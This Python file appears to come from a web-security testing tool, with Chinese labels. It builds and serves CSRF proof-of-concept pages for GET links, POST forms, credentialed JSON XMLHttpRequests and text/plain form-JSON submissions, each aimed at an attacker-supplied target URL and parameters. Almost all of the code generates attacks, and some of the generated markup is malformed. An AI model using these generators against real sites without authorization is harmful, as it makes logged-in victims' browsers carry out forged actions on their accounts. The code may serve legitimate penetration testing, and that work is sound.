#!/usr/bin/env python
# -*- coding:utf-8 -*-
from http.server import BaseHTTPRequestHandler
import yaml
import os
def get_generate_csrf(fp,url):
    doctype = "<!DOCTYPE html>"
    htmls = "<html>"
    heads = "<head>"
    meta = "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">"
    title = "<title>测试GET型CSRF</title>"
    heade = "</head>"
    bodys = "<body>"
    h = "<h1>测试GET型CSRF</h1>"
    content = "<a style = \"display:block; width:150px; height:30px;text-decoration: none;text-align: center; border:1px solid #CCC; background:#000;\" href=\"" + \
            url +"\"> 发送CSRF请求</a>"
    bodye = "</body>"
    htmle = "</html>"
    crlf = "\r\n"

    payload = doctype + crlf + htmls + crlf + heads + crlf + meta + crlf + title + crlf + heade + bodys + \
              crlf + h + crlf +content + crlf + bodye + htmle
    with open(fp,'w',encoding="utf-8") as fw:
        fw.write(payload)

def post_generate_csrf(fp,url,params):
    doctype = "<!DOCTYPE html>"
    htmls = "<html>"
    heads = "<head>"
    meta = "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">"
    title = "<title>测试POST型CSRF</title>"
    heade = "</head>"
    bodys = "<body>"
    h = "<h1>测试POST型CSRF</h1>"
    forms = "<form align=\"center\" name=\"csrfform\" action=\"" +url +"\" method=\"post\">"
    submit = "<input align=\"center\" name=\"submit\"type=\"submit\" value=\"提交\">"
    forme = "</from>"
    bodye = "</body>"
    htmle = "</html>"
    crlf = "\r\n"
    inputs = ""
    br = "<br>"
    if "&" in params:
        plist = params.split("&")
        
        for p in plist:
            name,value = p.split("=")
            inputs += "<input align=\"center\" name=\"" + name + "\" value = \"" + value + "\"><br>"
            inputs += crlf
    else:
        name,value = params.split("=")
        inputs += "<input align=\"center\" name=\"" + name + "\" value = \"" + value + "\"><br>"
        inputs += crlf
    payload = doctype + crlf + htmls + crlf + heads + crlf + meta + crlf + title + crlf + heade + bodys + \
            crlf + h + crlf + forms + crlf + inputs + crlf + submit + crlf + forme + bodye + htmle
    with open(fp,'w',encoding="utf-8") as fw:
        fw.write(payload)
def post_json_generate_csrf(fp,url,params):
    print(type(params))
    print(params)
    doctype = "<!DOCTYPE html>"
    htmls = "<html>"
    heads = "<head>"
    meta = "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">"
    title = "<title>测试JSON型CSRF</title>"
    scripts = "<script style=\"text/javascript\">"
    scriptfs = "function csrfReq(){"
    scriptfc1 = "var xhr = new XMLHttpRequest();"
    scriptfc2 = "xhr.open(\"POST\", \"" + url + "\", true);"
    scriptfc3 = "xhr.setRequestHeader(\"Content-Type\", \"application/json;charset=UTF-8\");"
    scriptfc4 = "xhr.withCredentials = true;"
    scriptfc5 = "xhr.send(JSON.stringify(" + params + "));"
    scripte = "}</script>"
    heade = "</head>"
    bodys = "<body>"
    h = "<h1>测试POSTJSON型CSRF</h1>"
    submit = "<input type=\"button\" value=\"提交CSRFJSON\" onClick=\"csrfReq()\">"
    bodye = "</body>"
    htmle = "</html>"
    crlf = "\r\n"
    payload = doctype + crlf + htmls + crlf + heads + crlf + meta + crlf + title + crlf +\
              scripts + crlf + scriptfs + crlf + scriptfc1 + crlf + scriptfc2 + crlf + scriptfc3 +\
                 crlf + scriptfc4 + crlf + scriptfc5 + crlf + scripte + crlf + heade + crlf +\
                      bodys + crlf + h + crlf + submit + crlf + bodye + crlf + htmle
    with open(fp,'w',encoding="utf-8") as fw:
        fw.write(payload)

def form_json_generate_csrf(fp,url,name,value):
    doctype = "<!DOCTYPE html>"
    htmls = "<html>"
    heads = "<head>"
    meta = "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">"
    title = "<title>Form测试JSON型CSRF</title>"
    heade = "</head>"
    bodys = "<body>"
    h = "<h1>Form测试JSON型CSRF</h1>"
    forms ="<form action=\""+ url +"\" method=\"POST\" enctype=\"text/plain\">"
    inputs = "<input name='" + name +"' value='" + value +"'><br>"
    forme = "</from>"
    button = "<br><button onclick=\"javascript:document.forms[0].submit\">提交</button>"
    bodye = "</body>"
    htmle = "</html>"
    crlf = "\r\n"
    payload = doctype + crlf + htmls + crlf + heads + crlf + meta + crlf + title + crlf + heade + bodys + \
            crlf + h + crlf + forms + crlf + inputs  + crlf + forme + crlf + button + crlf + bodye + htmle    
    with open(fp,'w',encoding="utf-8") as fw:
        fw.write(payload)  
def get_csrf_page(httpserver:BaseHTTPRequestHandler,params):
    htmlpath = "template\\getcsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + htmlpath
    f = open(fp,"rb")
    resp = f.read()
    f.close()
    httpserver.send_html_success(resp)

def post_csrf_page(httpserver:BaseHTTPRequestHandler,params):
    htmlpath = "template\\postcsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + htmlpath
    f = open(fp,"rb")
    resp = f.read()
    f.close()
    httpserver.send_html_success(resp)
def postjson_csrf_page(httpserver:BaseHTTPRequestHandler,params):
    htmlpath = "template\\postjsoncsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + htmlpath
    f = open(fp,"rb")
    resp = f.read()
    f.close()
    httpserver.send_html_success(resp)

def formjson_csrf_page(httpserver:BaseHTTPRequestHandler,params):
    htmlpath = "template\\formjsoncsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + htmlpath
    f = open(fp,"rb")
    resp = f.read()
    f.close()
    httpserver.send_html_success(resp)

def exec_get_csrf(httpserver:BaseHTTPRequestHandler,params):
    filename = "csrfpage\\execgetcsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + filename
    if params:
        get_generate_csrf(fp,params["address"][0])
        f = open(fp,"rb")
        resp = f.read()
        f.close()
        httpserver.send_html_success(resp)        
    else:   
        httpserver.send_file_success("fail!")
def exec_post_csrf(httpserver:BaseHTTPRequestHandler,params):
    filename = "csrfpage\\execpostcsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + filename
    if params:
        post_generate_csrf(fp,params['address'][0],params['params'][0])
        f = open(fp,"rb")
        resp = f.read()
        f.close()
        httpserver.send_html_success(resp)        
    else:   
        httpserver.send_file_success("fail!")
def exec_postjson_csrf(httpserver:BaseHTTPRequestHandler,params):
    filename = "csrfpage\\execpostjsoncsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + filename
    if params:
        post_json_generate_csrf(fp,params['address'][0],params['params'][0])
        f = open(fp,"rb")
        resp = f.read()
        f.close()
        httpserver.send_html_success(resp)        
    else:   
        httpserver.send_file_success("fail!")

def exec_formjson_csrf(httpserver:BaseHTTPRequestHandler,params):
    filename = "csrfpage\\execformjsoncsrf.html"
    fd = os.path.dirname(os.path.realpath(__file__))
    fp = fd + os.sep + filename
    if params:
        if params['params'][0][-1] == "\"" and params['value'][0][-1] == "}":
            form_json_generate_csrf(fp,params['address'][0],params['params'][0],params['value'][0])
            f = open(fp,"rb")
            resp = f.read()
            f.close()
            httpserver.send_html_success(resp)
        else:
            httpserver.send_file_success("fail!")
    else:   
        httpserver.send_file_success("fail!")